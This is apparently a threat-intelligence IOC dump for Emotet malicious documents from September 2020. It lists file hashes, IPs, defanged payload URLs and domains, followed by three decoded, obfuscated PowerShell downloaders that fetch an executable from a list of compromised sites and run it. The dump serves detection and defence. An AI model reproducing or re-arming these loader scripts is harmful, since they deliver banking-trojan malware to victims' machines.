Emotet_Doc_out_2020-09-21_14_29.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
9a89421741b56db1e2d97d925176d40fae890abdefd3e136a24afb0589d4371e
8d1f2360b408776088872210b32de86eb3f9ba1f6c038e9167351edc66528823
606c981a35630090fe7df6ea2bd78be7c01eb20f5d266ba2432b209e9bf26eb8
606c981a35630090fe7df6ea2bd78be7c01eb20f5d266ba2432b209e9bf26eb8
614c62ac24ffd787e87c3f0be186188b9c87530dcc81b1559e388c1e06d1e2c7
614c62ac24ffd787e87c3f0be186188b9c87530dcc81b1559e388c1e06d1e2c7
4f95474b074798a5301ed054cc87ee6768a0c44b9d2a39f679750741537dcea0
4f95474b074798a5301ed054cc87ee6768a0c44b9d2a39f679750741537dcea0
56813b1ff2c178be52fb844d4656d77d7d061aeeb71e90418d1665f9aac64978
56813b1ff2c178be52fb844d4656d77d7d061aeeb71e90418d1665f9aac64978
12184c3b864ed546a8c1c0b94d18631228a2cd6caa38e1d6c332c113d327f21b
99eda692ad8e7b4355aa54a8bbe79740fedcf0500c775ade59cd67ed7c7ecaaa
cfa732f080d66f4255202de5836aedb5332dbe226ea5ff3e49c926ee56519cdd
9e45686cb73bef12f43a2a0f24595a5a9bb7d13d1c9fa1db682ce1f62a152c49
5c9595da8f021c0eb6c4da08ddfff0b280e4b1f2c7b0c9a1908f8c5bd98163e4
0b20a73da9e858ca63b3e038817d2cd82a98535eb4ed6c1dbb214e3e066bede2
d2f7410370f98bd4b8df1da90c315498ed40486e84d2c1a4951935f642fb8d3c
d20baee3b136e9ccf09f5dd19ddf745c78f62622f6449979fd30940853bdb70b
c73c3b2b3cd160b32aa1f2e305d8a1b37490be7366b48f3182c6eca9dfebfe52
2ec44c17b6b065e7bf34a965fe298674f2d0089335d479b0a504ca375f0d0c1b
4198131e8d2f03d52598f0c99b1f8765ed8d7380b175ec0ee5e9ef4e845f90fe
fbe06b77331c2615ddb714d8e539f9f8eb7e35024aad5aad9af594b528f4450c
a750366c2526e29a08f729005ab062b1a98ae9774f4c3d0ff22d881c67405c41
1d13a0fe58c9b38ffc4121ee00cb8c1c7bd55d755cc87f610fb1a3c306204474
13431cff4346b87ec1e099ca8da43a0b6b7dca250d9c69bbc46b8f28dd09a68e
cab5f70f9a6d1f300828e8c715696273befca7a141ca5e75b69b5a408ee432b2
d6ae83f018f7848b69c8e3f73f71992caabb9a19ab572796adf043a08bf46c11
f9e9e2dd60777b24a40ffc71551901bcb801741bab413b47a83b13b938bdd86a
9126b6cf6a48ccd803d63160fbb3bf6dd1329fc766e2c660732b8a72d07ae0b2
f4f8fa4ea75cb101a9f02af6bbf8448e6f4450ff695e1f62f2adf110409ab85f
aae82415f0c1d33438261bb6ea1039cdff8bccc786541f5177e6938497f5b2d1
cda0f300f10989d730a1ea43471dfadb97cb10e13a73fbabeb565b5fbfd6bc30
5236f2813e8823eddc52a679a0129cb8f0edca6ffd3d3323cb9d69b037a86853
c416a530297805458112eb6bae320911725f393d317c8ff2d42ba709394d6688
f1bb14a732551e8301bed32c9d8cd4dbf506815bc17d1695708593bdef7ea22c
9075458c2a7a9b59a7e7f9e575757a3069952452198a9c17ce3211d3de14eadb
1fdd870e2f8e533d5592145cd1fc37281bd190265fb33663d5f8b0bbab9e8e53
fff500c894e8ce1ddc024ef40ece32c51ed45d3d85eee507a81a1c2d0115db85
23e85a68c4a3b9d299d2ed531ada64c13d44ea288cad289752aa9dd3d3e08884
f324ce3dda20edd6a8a964eb14fe89ea1df9a7bfad867dc0abba653b22534357
33ce6293593a02d1b88213d5e0bd0fcc3667491733ce5009426e8fd5c2e6dc50
f74bbc7638bbd37cb3f3414110b7479daa77451e7e339a3c42d8bc72f93d6862
977202ad05f3dc22921ff8db4e7555d1ba9c34fea406b306febc83513fce069c
df50fc4b87844f590011e4655d981e4aa7d498dec2d0940b554aea8538567352
f0e6815411621dc6ccb4ca55c8c1ceba4ed59cc0f64b6884f0d93d49f9493bb5
7a015b6833969e6837d78d58ac9b507cdf02d2272798f7cef35fdf534b58b52a
a6d4e72568e642cf4b7ebface0d1efd59bb14b348af845c74bd132af71733f53
75f538b2ff372af6854b172dc78aea754ea64afc283c47f6c1b5bba657e9cac9
e5d9bb556a385de29f04eccbf388a0e8f73f556394bfcaff0a6c7ffb15e85a48
0d6380a49e7088513773efca368acb3a783954a2d4df49ea9b730c9e49969458
d0b4b470d5e523a36a9751cec3eb8c5e1fae85904ab8637b745f1aebea3aa8cd
fbe339f0f024e007aa6965b220a545dcdbe63fc8c877adfa47c8ba137b8c94ee
f5ca634bdeacd64ccc52ea932bd221762cc68524fcef2df96c77ecd777d16670
50e2ef861a0588af5e970bd2bd2d4d52e68f8c65d8f82b2c2f6457adc2302ea1
6551f8c92068a9f5857920d06ee67a6c00db576cdcbf7901a645b734994a0e8b
20afdfa7a7c7a299565cdd046c41bcbea4b1cbdc4041edc9f0e51d52dac04a0c
e94370a66b084c6e99c0a16d5b777ba5d77c0e9a63ff4c237635ea1b37281072
4186791608fe67e3dd4a2f61f52ed52ba67c4d7d75996cbf27f8379a44509f18
75e37e5c3591743af109482748f2a48e550f1a9d767316a8cece66fb4fe8c222
1f4636599b3de756ee92e6c14346ceabf27b76d2b45abe64d1d9f48f0e4c3bf9
1f4636599b3de756ee92e6c14346ceabf27b76d2b45abe64d1d9f48f0e4c3bf9
9f77870d3740686f81155c4cca802ccb196cdd875714ed8e25d9a920d2d2adb4
9f77870d3740686f81155c4cca802ccb196cdd875714ed8e25d9a920d2d2adb4
9fd3bd14b6ac0e00685863f0c35e4762901f82882645b715e9afec191839d672
610c4e7f9d0c567d7d8a230edc8cbe856baae5fb20c5fbebe2a43c7c7d007fee
0e7b7cc13660693acc3ac77a1ba7b6128c10bfe810eecb4d67f8b315e94c047d
e9325a711e0f6f605b85898c5b507d4320e1f1dc672c68172b06cda359b5107e
0af0e4a065d036488bc54043089879cd5e6b6a4db8c164ba0b7f45140aa616cf
b81a03fb70bafe2e7fd636ad7371dd77cd8fb21b274fda2b5bfb4b2d4356e91e
9f038a3f8faa7d88948648de22b5ab1fdd3cc1d598fc1125ff950daa9fadc4b1
32f41a25d60eecd90e5e66e0ac2850bd6fbe4f97ddb2dd1e1c3998ab3089f391
5a0c4c40fea422907e85ce8348431c8365731e13690a0df7ded61ac480bd6137


IPs:
101.0.116.105
101.0.116.55
103.151.217.206
103.4.235.152
104.18.34.185
104.18.35.185
143.95.147.245
148.66.138.103
172.67.177.4
185.182.56.216
191.6.196.95
204.44.192.75
209.151.194.240
35.209.143.27
35.209.84.178
35.244.28.240
45.147.17.249
46.16.62.168
64.227.104.204
67.225.175.220
67.227.236.124
88.218.92.118



URLs:
hxxp://geisterhouse.com/cgi-bin/LAb1/
hxxp://amyemitchell.com/themes/w/
hxxp://forestanalytics.net/images/57A7/
hxxps://konican.com/cgi-bin/cWu/
hxxp://strike3productions.com/squad/3aV6xrH/
hxxp://riandutra.com/img/wOMENgh/
hxxp://justinscott.com.au/sites/rRS/
hxxps://santyago.org/wp-content/0mcYS6/
hxxp://dandyair.com/font-awesome/rOOAL/
hxxps://www.tekadbatam.com/wp-content/AUiw/
hxxp://kellymorganscience.com/wp-content/SCsWM/
hxxps://tewoerd.eu/img/DALSKE/
hxxp://mediainmedia.com/plugin_opencart2.3-master/Atye/
hxxp://nuwagi.com/old/XLGjc/."sP`LiT"[char]42;
hxxps://vstbar.com/wp-admin/Hs/
hxxp://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/
hxxp://shahqutubuddin.org/U/
hxxp://cybersign-001-site5.gtempurl.com/2xwzq/bve/
hxxps://star-speed.vip/wp-admin/Ttv/
hxxps://treneg.com.br/rfvmbh/a/
hxxps://cimsjr.com/hospital/x2f/."SP`Lit"[char]42;


Domains:
geisterhouse.com
amyemitchell.com
forestanalytics.net
konican.com
strike3productions.com
riandutra.com
justinscott.com.au
santyago.org
dandyair.com
www.tekadbatam.com
kellymorganscience.com
tewoerd.eu
mediainmedia.com
nuwagi.com
vstbar.com
binarywebtechsolutions.com
shahqutubuddin.org
cybersign-001-site5.gtempurl.com
star-speed.vip
treneg.com.br
cimsjr.com


Decoded Base64 Powershell:
����^�$Lldlk5t=Thmg2iw;
.new-item $eNV:USERproFIlE\Ep1s8UV\cdc8b6U\ -itemtype diRECtory;
[Net.ServicePointManager]::"SeCUr`i`T`YPrOTO`CoL" = tls12, tls11, tls;
$Li83pmh = M5km4176;
$S4xu_qw=Cmdi79m;
$K6d72w8=$env:userprofilez1yEp1s8uvz1yCdc8b6uz1y."rEp`lace"[char]122[char]49[char]121,\$Li83pmh.exe;
$B3zhpy6=Kpiuia1;
$Ixcsgo1=.new-object net.wEbCLIEnT;
$Hxz4oxa=hxxp://geisterhouse.com/cgi-bin/LAb1/
hxxp://amyemitchell.com/themes/w/
hxxp://forestanalytics.net/images/57A7/
hxxps://konican.com/cgi-bin/cWu/
hxxp://strike3productions.com/squad/3aV6xrH/
hxxp://riandutra.com/img/wOMENgh/
hxxp://justinscott.com.au/sites/rRS/
."S`pLIT"[char]42;
$Gbvb7e2=Ssx8sow;
foreach$Zzcq2sh in $Hxz4oxa{try{$Ixcsgo1."D`OW`NlOAdf`ilE"$Zzcq2sh, $K6d72w8;
$Yq20gx7=Yeeuicp;
If .Get-Item $K6d72w8."le`NG`Th" -ge 21514 {.Invoke-Item$K6d72w8;
$R_5nka8=Yr8a0aa;
break;
$Iw3k2jw=Nc2agty}}catch{}}$Oj5p3ty=V9if0ba����^�$T1xyyyx=Kkym_4k;
&new-item $EnV:USErPROFiLe\u6w7O_l\PSjk3pN\ -itemtype dIRECtORY;
[Net.ServicePointManager]::"s`ecURi`T`yProToc`oL" = tls12, tls11, tls;
$Eros3fc = Dzdsyqxb;
$Grvnfs3=D3bsomf;
$Ak1cdwq=$env:userprofileFx2U6w7o_lFx2Psjk3pnFx2-REplacE  Fx2,[chaR]92$Eros3fc.exe;
$Ysem_s4=Ngcm7vk;
$Nc2y0o2=.new-object NET.webclient;
$H5t55ok=hxxps://santyago.org/wp-content/0mcYS6/
hxxp://dandyair.com/font-awesome/rOOAL/
hxxps://www.tekadbatam.com/wp-content/AUiw/
hxxp://kellymorganscience.com/wp-content/SCsWM/
hxxps://tewoerd.eu/img/DALSKE/
hxxp://mediainmedia.com/plugin_opencart2.3-master/Atye/
hxxp://nuwagi.com/old/XLGjc/."sP`LiT"[char]42;
$P1pgblj=Xi6bii2;
foreach$Xhz7nkm in $H5t55ok{try{$Nc2y0o2."doWNLO`AdfI`Le"$Xhz7nkm, $Ak1cdwq;
$Yk10s1_=Sn50ppj;
If &Get-Item $Ak1cdwq."len`Gth" -ge 31239 {&Invoke-Item$Ak1cdwq;
$Y8z90gx=Iq2y3_k;
break;
$Sov7lv7=Rszrknr}}catch{}}$Huklcq_=B1gkid9����^�$U34kjyd=Aquhaal;
&new-item $eNv:UsERpRofiLe\m7bi4OC\QkrH2ZK\ -itemtype dirEcTORy;
[Net.ServicePointManager]::"SE`CURIt`yPr`OT`ocOL" = tls12, tls11, tls;
$A8gumy9 = Fhdnsu;
$B09ldvd=Iww3v6y;
$Mbb9ock=$env:userprofileWSxM7bi4ocWSxQkrh2zkWSx -rEPlacE  WSx,[ChAR]92$A8gumy9.exe;
$V3ghm67=P0n0tv8;
$Cudjllw=.new-object NeT.WEBcLIEnT;
$Yk9vdgu=hxxps://vstbar.com/wp-admin/Hs/
hxxp://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/
hxxp://shahqutubuddin.org/U/
hxxp://cybersign-001-site5.gtempurl.com/2xwzq/bve/
hxxps://star-speed.vip/wp-admin/Ttv/
hxxps://treneg.com.br/rfvmbh/a/
hxxps://cimsjr.com/hospital/x2f/."SP`Lit"[char]42;
$Fk1mmn_=Y1hvpj2;
foreach$Tfyvjt3 in $Yk9vdgu{try{$Cudjllw."D`OW`NL`oadFILE"$Tfyvjt3, $Mbb9ock;
$Oakwmmf=B4zfheh;
If &Get-Item $Mbb9ock."lEnG`TH" -ge 35233 {&Invoke-Item$Mbb9ock;
$Ntkfm7q=Wkxxk1n;
break;
$Dptll27=Mjty5c5}}catch{}}$L871qdi=V4qctv3